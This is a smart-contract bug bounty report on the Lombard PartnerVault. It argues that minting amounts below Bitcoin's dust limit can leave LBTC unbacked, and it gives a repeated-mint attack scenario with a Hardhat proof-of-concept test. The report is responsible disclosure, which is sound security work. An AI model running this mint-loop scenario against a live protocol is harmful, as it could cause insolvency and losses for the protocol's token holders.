38335 [SC-Medium] attacker can exploit partnervault mint small amount to cause lbtc depeg or protoco
#38335 [SC-Medium] Attacker can exploit PartnerVault mint small amount to cause LBTC depeg or Protocol Insolvency
Submitted on Dec 31st 2024 at 11:21:55 UTC by @perseverance for Audit Comp | Lombard
Report ID: #38335
Report Type: Smart Contract
Report severity: Medium
Target: https://github.com/lombard-finance/evm-smart-contracts/blob/main/contracts/fbtc/PartnerVault.sol
Impacts:
Permanent freezing of funds
Protocol insolvency
Description
Description
Brief/Intro
User can permissionless (no permission) to use PartnertVault to mint LockedFBTC by using function
https://github.com/lombard-finance/evm-smart-contracts/blob/main/contracts/fbtc/PartnerVault.sol#L182-L184
function mint(
uint256 amount
) external nonReentrant whenNotPaused returns (uint256) {
uint256 amountLocked = $.lockedFbtc.mintLockedFbtcRequest(amount);
}
By doing this, user will transfer the FBTC to the PartnerVault contract. FBTC then will be sent to LockedFBTC of FBTC contract to burn FBTC.
https://github.com/fbtc-com/fbtcX-contract/blob/main/src/LockedFBTC.sol#L117-L134
function mintLockedFbtcRequest(uint256 _amount)
public
onlyRole(MINTER_ROLE)
whenNotPaused
returns (uint256 realAmount)
{
require(_amount > 0, "Amount must be greater than zero.");
require(fbtc.balanceOf(msg.sender) >= _amount, "Insufficient FBTC balance.");
SafeERC20Upgradeable.safeTransferFrom(fbtc, msg.sender, address(this), _amount);
(bytes32 _hash, Request memory _r) = IFireBridge(fbtcBridge).addBurnRequest(_amount);
require(_hash != bytes32(uint256(0)), "Failed to create a valid burn request.");
realAmount = _amount - _r.fee;
require(realAmount > 0, "Real amount must be greater than zero after fee deduction.");
_mint(msg.sender, realAmount);
emit MintLockedFbtcRequest(msg.sender, realAmount, _r.fee);
}
Then it will invoke addBurnRequest of FireBridge
https://github.com/fbtc-com/fbtc-contract/blob/main/contracts/FireBridge.sol#L287-L322
function addBurnRequest(
uint256 _amount
)
external
onlyActiveQualifiedUser
whenNotPaused
returns (bytes32 _hash, Request memory _r)
{
// Check request.
require(_amount > 0, "Invalid amount");
_r = Request({
nonce: nonce(),
op: Operation.Burn,
srcChain: chain(),
srcAddress: abi.encode(msg.sender),
dstChain: MAIN_CHAIN,
dstAddress: bytes(userInfo[msg.sender].withdrawalAddress),
amount: _amount,
fee: 0, // To be set in `_splitFeeAndUpdate`
extra: "", // Unset until confirmed
status: Status.Pending
});
// Burn tokens.
FToken(fbtc).burn(msg.sender, _r.amount);
}
To summarize the fund flow is below:
For User :
FBTC => transfer to PartnerVault => Transfer to LockedFBTC => Burn in FireBridge
Receive Mint LBTC
For Lombard Protocol:
Received LockedFBTC
Receive Bitcoin from FBTC via withdrawalAddress
For FBTC Protocol:
Burned FBTC
Transfer Bitcoin to Lombard Protocol's WithdrawalAddress
The vulnerability
Vulnerability Details
The bug here is ParnerVault does not check if the amount is below Dust Limit on Bitcoin. It does check if amount is not Zero.
This DustLimit is related to Dust that is defined in terms of dustRelayFee, which has units satoshis-per-kilobyte. If users pay more in fees than the value of the output to spend something, then Bitcoin consider it dust. See Reference
So if the amount after fee is less than the DustLimit on BitcoinBitcoin, then the output amount can not be spent.
https://github.com/bitcoin/bitcoin/blob/master/src/policy/policy.cpp#L28-L41
// "Dust" is defined in terms of dustRelayFee,
// which has units satoshis-per-kilobyte.
// If you'd pay more in fees than the value of the output
// to spend something, then we consider it dust.
// A typical spendable non-segwit txout is 34 bytes big, and will
// need a CTxIn of at least 148 bytes to spend:
// so dust is a spendable txout less than
// 182*dustRelayFee/1000 (in satoshis).
// 546 satoshis at the default rate of 3000 sat/kvB.
// A typical spendable segwit P2WPKH txout is 31 bytes big, and will
// need a CTxIn of at least 67 bytes to spend:
// so dust is a spendable txout less than
// 98*dustRelayFee/1000 (in satoshis).
// 294 satoshis at the default rate of 3000 sat/kvB.
So it depends on the type of user withdrawal address type.
For the new address types: P2WPKH, P2TR, P2WSH and the default rate fee is 3000 satoshi per kilobyte, then the DustLimit is 294 satoshi. But for old address types, the DustLimit can be 546 satoshi as commented above.
So as I don't know the type of Lombard PartnerVault withdrawal type of address, let's assume that it is one of the modern types: P2WPKH, P2TR, P2WSH so the Dust Level is 294 according to Bitcoin documentation. Let's take a value of 291 for example.
The FBTC Firebridge contract also does not check if amount is below Dust Limit. It is the responsibility of users to check that.
So if user input amount that less than Dust Limit on Bitcoin
There are 2 scenarios:
If FBTC system confirm the burn request, then the withdrawal output on Bitcoin cannot be spent.
Or if the FBTC does not confirm that burn request, then the FBTC is lost and Lombard will not receive any Bitcoin.
So now an attacker can exploit this to cause depeg or freeze of fund.
Attack scenario:
Step 1: Attacker repeats 10_000 times the call mint(291) in PartnerVault
User spent 10_000 * 291 FBTC = 2_910_000 FBTC
User received 2_910_000 LBTC
Step 2: Attacker using some exchange to convert LBTC to FBTC and repeat step 1. Suppose the fee is 5%
User received 2_764_500
user repeated the attack in step 1: user received 2_764_500 LBTC
Step 3: continued to do this attack
So with very small amount of capital and just gas to execute the attack, the attacker will cause the impact:
Lombard will mint LBTC. With each mint, the LBTC total_supply is increased
Lombard received LockedFBTC.
Lombard either will not receive Bitcoin or receive the Bitcoin that will not be spent.
Lombard cannot redeem this LockedFBTC token, because to redeem it, Lombard need to deposit into FBTC to initializeBurn in PartnerVault.
function initializeBurn(
address recipient,
uint256 amount,
bytes32 depositTxId,
uint256 outputIndex
)
Impacts
About the severity assessment
Bug Severity: Critical
Impact category:
Attacker's capital: Small amount of FBTC and pay gas to execute the attack
So with repeated attacks, attacker can cause:
The amount of LBTC that was minted is much bigger than the total of Bitcoin that can be spent.
This caused impact:
Protocol Insolvecy
Depeg of LBTC
Freeze of funds on Bitcoin
Proof of Concept
Proof of concept
Steps to reproduce the bug:
Step 1: Attacker repeats 10_000 times the call mint(291) in PartnerVault
User spent 10_000 * 291 FBTC = 2_910_000 FBTC User received 2_910_000 LBTC
The test code to show this bug:
it('should be able to mint LBTC on depositing FBTC', async function () {
const mintTotal = 2910000;
const mintAmount = 291;
await fbtc.mint(signer1.address, mintTotal);
await fbtc
.connect(signer1)
[
'approve(address,uint256)'
](await partnerVault.getAddress(), mintTotal);
this.timeout();
// loop to mint 10_000 times
for (let i = 0; i < 10000; i++) {
expect(
await partnerVault.connect(signer1)['mint(uint256)'](mintAmount)
)
.to.emit(fbtc, 'Transfer')
.withArgs(
signer1.address,
await partnerVault.getAddress(),
mintAmount
)
.to.emit(fbtc, 'Transfer')
.withArgs(
await partnerVault.getAddress(),
await lockedFbtc.getAddress(),
mintAmount
)
.to.emit(lbtc, 'Transfer')
.withArgs(ethers.ZeroAddress, signer1.address, mintAmount);
}
console.log('LBTC balance of signer1 ', await lbtc.balanceOf(signer1.address));
}).timeout(10000000);
Just copy the test case into test suite "FBTC locking" in evm-smart-contracts\test\PartnerVault.ts
describe('FBTC locking', function () {
To run the test
yarn hardhat test
Test log:
FBTC locking
LBTC balance of signer1 2910000n
✔ should be able to mint LBTC on depositing FBTC (31508ms)
Explanation:
In this case, I call mint 10_000 times in the test case, but to exploit attacker can deploy an attack contract to repeat the mint() in the exploit contract. But the attack scenario is the same, so I use this test to show the attack.
Step 2: Attacker using some exchange to convert LBTC to FBTC and repeat step 1. Suppose the fee is 5%
Attacker received 2_764_500 Attacker repeated the attack in step 1: Attacker received 2_764_500 LBTC
Step 3: continued to do this attack
Last updated
Was this helpful?